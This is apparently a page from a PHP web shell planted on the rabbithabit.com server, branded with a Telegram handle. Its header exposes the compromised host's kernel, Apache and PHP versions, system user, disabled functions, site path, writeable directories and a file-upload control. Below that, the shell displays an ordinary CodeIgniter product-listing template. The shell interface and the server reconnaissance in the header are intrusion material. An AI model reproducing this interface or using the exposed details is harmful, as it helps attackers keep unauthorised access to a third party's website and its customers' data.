https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/views/themes/3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/views/themes/3/product_list.php
<style>
  .sidebar-custom_menu-category li:first-child {
    padding-top: 0;
  }
  .sidebar-custom_menu-category ul li{
    padding: 0;
    padding-bottom: 10px;
  }
  .sidebar-custom_menu-category li a {
    color: #444242;
    position: relative;
  }
  .div_pagination ul {
    width: auto !important;
  }
  .div_pagination ul li.active { 
    border-bottom: 0 !important; 
  }
  .div_pagination ul li {  
    margin-right: 0px !important; 
    min-width: auto !important;
  }
  .div_pagination ul li.active a{ 
    border-bottom: 1px solid #ababab; 
  }
  .div_pagination ul li a{
    margin-right: 20px !important;  
    min-width: 20px !important;
  }
  @media (max-width: 450px){
    .shop-page-content{ 
      margin-top: 0px !important;
      margin-bottom: 0px !important;
      padding-top: 30px !important;
      padding-bottom: 20px !important;
    } 
    .shop-page-content .row.mb-50{ 
      margin-bottom: 20px !important;
    } 
    .shop-page-content .shop-product-wrap .mb-45{
      margin-bottom: 20px !important; 
    }
    .page-sidebar{
      /*display: none;*/
      margin-top: 30px;
    }
    .div_pagination{
      margin-top: 10px !important;
    }
    .order-1{
      margin-bottom: 0px !important; 
    }
    .page-sidebar .single-sidebar-widget .bottom_left_menu_list li{
      padding-bottom: 5px;
    }
    .page-sidebar .single-sidebar-widget.mb-40{
      margin-bottom: 10px !important;  
    }
  }
</style>
<div class="shop-page-content " style="<?= $bg_section_color; ?> padding-top: 50px; <?= count($products) > 3 ? 'padding-bottom: 50px;' : 'padding-bottom: 100px;'; ?>">
  <div class="container">
    <!-- <div class="row mb-50" style="margin: 0 auto;">
      <div class="col-md-12 text-center">
          <ul>
              <li style="display: inline-block;">
                  <h3>
                      <a href="javascript:void(0)">
                        Product List
                      </a>
                  </h3>
              </li> 
          </ul>
      </div>
    </div> -->
    <div class="row">
      <div class="col-lg-2 order-2 order-lg-1">
        <!--=======  page sidebar  =======-->
        
        <div class="page-sidebar"> 
          <!--=======  single sidebar widget  =======--> 
          <div class="single-sidebar-widget mb-40 sidebar-custom_menu-category">
            <!-- Modules::run('custom_menu')  -->
            <h2 class="single-sidebar-widget--title" style="color:#2B286E;">
              Shop
            </h2> 
            <ul class="single-sidebar-widget--list single-sidebar-widget--list--category">
              <?php foreach ($main_menus as $menu) : ?>
              <?php if ($menu->menu_type == 'category'): ?>
                <?php $count_level2_menus = count_child_menus($menu->id_menus); ?>
                <?php if($count_level2_menus > 0) : ?>  
                  <?php $level2_menus = get_child_menus($menu->id_menus);?> 
                  <?php foreach($level2_menus as $level2) : ?> 
                    <?php if ($level2->menu_type == 'category'): ?>
                    <?php 
                      $t_menu_link = base_url() . $level2->menu_link; 
                    ?>
                      <li>
                        <a class="<?= current_url() == $t_menu_link ? 'text_red' : ''; ?>" href="<?= $t_menu_link; ?>">
                          <?= $level2->menu; ?>
                        </a>
                      </li>   
                    <?php endif; ?>
                  <?php endforeach; ?>   
                <?php endif; ?>
              <?php endif; ?> 
              <?php endforeach; ?>
            </ul>
          </div> 
          <!--=======  End of single sidebar widget  =======--> 
        </div>
        
        <!--=======  End of page sidebar  =======-->
      </div>
      <div class="col-lg-10 order-1 order-lg-2 mb-md-80 mb-sm-80"> 
        <div class="row product-isotope shop-product-wrap four-column"> 
          
          <?php if(count($products) > 0) : ?> 
            <?php foreach ($products as $item) : ?> 
            <?php 
              $this->load->helper('product'); 
              $thumbnail = get_product_thumbnail($item->id_products);  

              $product_detail_id = $this->db->select('id')->from('product_details')->where('product_id', $item->id_products)->where('price !=', 0)->order_by('price', 'ASC')->limit(1)->get()->row()->id;

              $product_combine = $this->db->group_by('attribute_id')->get_where("product_combination",array(
                "product_id"=>$item->id_products,
                "product_details_id"=>$product_detail_id,
              ))->result();

              $id_pc = '';
              foreach ($product_combine as $key_pc) {
                $id_pc .= $key_pc->attribute_id.'->'.$key_pc->attribute_detail_id.';';
              }
              $id_pc = substr($id_pc, 0,-1);
            ?>
              <!--=======  single product  =======-->
              <div data-id="<?= $item->id_products; ?>" class="col-6 col-lg-4 col-md-6 col-sm-6 mb-45 hot sale">
                <div class="single-product"> 
                  <div class="single-product__image">
                    <a style="height: 303px;" data-id_pc="<?= $id_pc; ?>" class="eve_product_a image-wrap" href="<?= base_url() . 'product/' . strtolower($item->alias); ?>">
                      <img style="width: 100%;max-height: 100%;height: 100%;" src="<?= $thumbnail['image1']; ?>" class="img-fluid" alt="">
                      <img style="width: 100%;max-height: 100%;height: 100%;" src="<?= $thumbnail['image2']; ?>" class="img-fluid" alt="">
                    </a> 
        
                    <div class="single-product__floating-badges">
                      <?php if ($item->new_arrival == 'yes'): ?>
                        <span class="hot">NEW</span>
                      <?php endif; ?>
                    </div> 

                    <div class="single-product__floating-icons">
                      <span class="wishlist">
<a href="javascript:void(0)" data-value="<?= $item->id_products; ?>" <?php if($this->session->userdata('customer')['customer_id']):?>
    class="add_wishlist_login"  
  <?php else: ?>
    class="add_wishlist_nonlogin" 
  <?php endif; ?>>
  <i class="ion-android-favorite-outline"></i>
</a> 
                      </span> 
                    </div> 
                  </div>

                  <div class="single-product__content"> 
                    <div>
                      <h5 style="font-weight: bold;"> 
                        <a data-id_pc="<?= $id_pc; ?>" class="eve_product_a " href="<?= base_url() . 'product/' . strtolower($item->alias); ?>">
                          <?= ucwords($item->title); ?> <?= ucwords($brand_name); ?>
                        </a>  
                      </h5>
                    </div>
                    <div class="price">
                      <?php
                        $reseller_id = $this->db->select('reseller_id')->from('customers')->where('id_customers', $this->session->userdata('customer')['customer_id'])->get()->row()->reseller_id;

                        $t_normal_price = null;
                        $t_disc_price = null;

                        if($reseller_id == NULL) :

                          $lowest_price = get_lowest_price($item->id_products);
                          if($lowest_price->discounted_price == 0):
                            $t_normal_price = number_format($lowest_price->price, 0, ',', '.');
                          else : 
                            $t_normal_price = number_format($lowest_price->price, 0, ',', '.');
                            $t_disc_price = number_format($lowest_price->discounted_price, 0, ',', '.');
                          endif;

                        else : 

                          $reseller_price = $this->db->select('price')->from('resellers_price')->where('product_detail_id', $product_detail_id)->where('reseller_id', $reseller_id)->get()->row()->price;

                          // reseller price
                          $t_normal_price = number_format($reseller_price, 0, ',', '.');
                        endif; 
                      ?> 
                      <?php if ($t_disc_price != null): ?>
                        <span class="main-price discounted">
                          Rp. <?= $t_normal_price; ?>
                        </span> 
                        <span class="discounted-price">
                          Rp. <?= $t_disc_price; ?>
                        </span>
                      <?php else: ?> 
                        <span class="discounted-price">
                          Rp. <?= $t_normal_price; ?>
                        </span>
                      <?php endif; ?>
                    </div>
                  </div> 
                </div>
                <div class="single-product--list"> 
                </div>
              </div> 
            <?php endforeach; ?> 
              
          <?php else : ?>
              <p style="margin-bottom: 100px; margin-top: 30px;padding-left: 15px;padding-right: 15px;font-size: 15px;font-weight: bold;"><?= ucwords(lang('product_available')); ?></p> 
          <?php endif; ?>

          <!--=======  single product  =======-->
          <!-- <div class="col-6 col-lg-4 col-md-6 col-sm-6 mb-45 new">
            <div class="single-product"> 
              <div class="single-product__image">
                <a class="image-wrap" href="product.php">
                  <img src="assets/images/cosmetic/product-instagram-24-600x600.jpg" class="img-fluid" alt="">
                  <img src="assets/images/cosmetic/product-instagram-8-600x600.jpg" class="img-fluid" alt="">
                </a>
    
                <div class="single-product__floating-badges">
                </div>
                
                <div class="single-product__floating-icons">
                  <span class="wishlist"><a href="product.php" data-tippy="Add to wishlist" data-tippy-inertia="true" data-tippy-animation="shift-away" data-tippy-delay="50" data-tippy-arrow="true" data-tippy-theme = "sharpborder" data-tippy-placement = "left" ><i class="ion-android-favorite-outline"></i></a></span>
                  
                </div>
              </div>

              <div class="single-product__content">
                <div>
                  <h5 style="font-weight: bold;"><a href="product.php"> Jasmine Spray</a></h5>
                  
                </div>
                <div class="price">
                  <span class="main-price discounted">Rp.450.000</span>
                  <span class="discounted-price">Rp.320.000</span>
                </div>
              </div> 
            </div>
          </div> -->
          <!--=======  End of single product  =======--> 
        </div>

        <div class="row"> 
          <div class="col-lg-12"> 
            <!--=======  pagination  =======--> 
            <div style="justify-content: space-between; align-items: center;" class="pagination text-center mt-50 div_pagination">
              <div>
                <?php 
                $showing_pagi = $limit_segment;
                $to_pagi = (int)$limit_segment+(int)$per_page; 
                if ($limit_segment == 1) {
                  $to_pagi = $to_pagi-1;
                } 
                if ($limit_segment >= 1) {
                  $showing_pagi = $limit_segment+1;
                } 
                if ($to_pagi>$all_products) {
                  $to_pagi = ((int)$all_products - (int)$showing_pagi)+(int)$showing_pagi;
                } 
                ?>
                <p>
                  <!-- 1 - 20 from 30 Results -->
                  <?php if (count($products) == 0): ?>
                    0 - 0 From 0 Results 
                  <?php else: ?>
                    <?= $showing_pagi == 0 ? 1 : $showing_pagi; ?> - <?= $to_pagi; ?> From <?= ($all_products); ?> Results
                  <?php endif ?>
                </p>
              </div>
              
              <?= $this->pagination->create_links(); ?>

              <!-- <ul style="width: initial;">
                <li class="active"><a href="#">1</a></li>
                <li><a href="#">2</a></li>
                <li><a href="#">3</a></li>
                <li><a href="#">4</a></li>
                <li><a href="#">NEXT</a></li>
              </ul> -->
            </div> 
            <!--=======  End of pagination  =======-->
          </div>
        </div>

      </div>
    </div>
  </div>
</div> 

https://t.me/RX1948 - 2025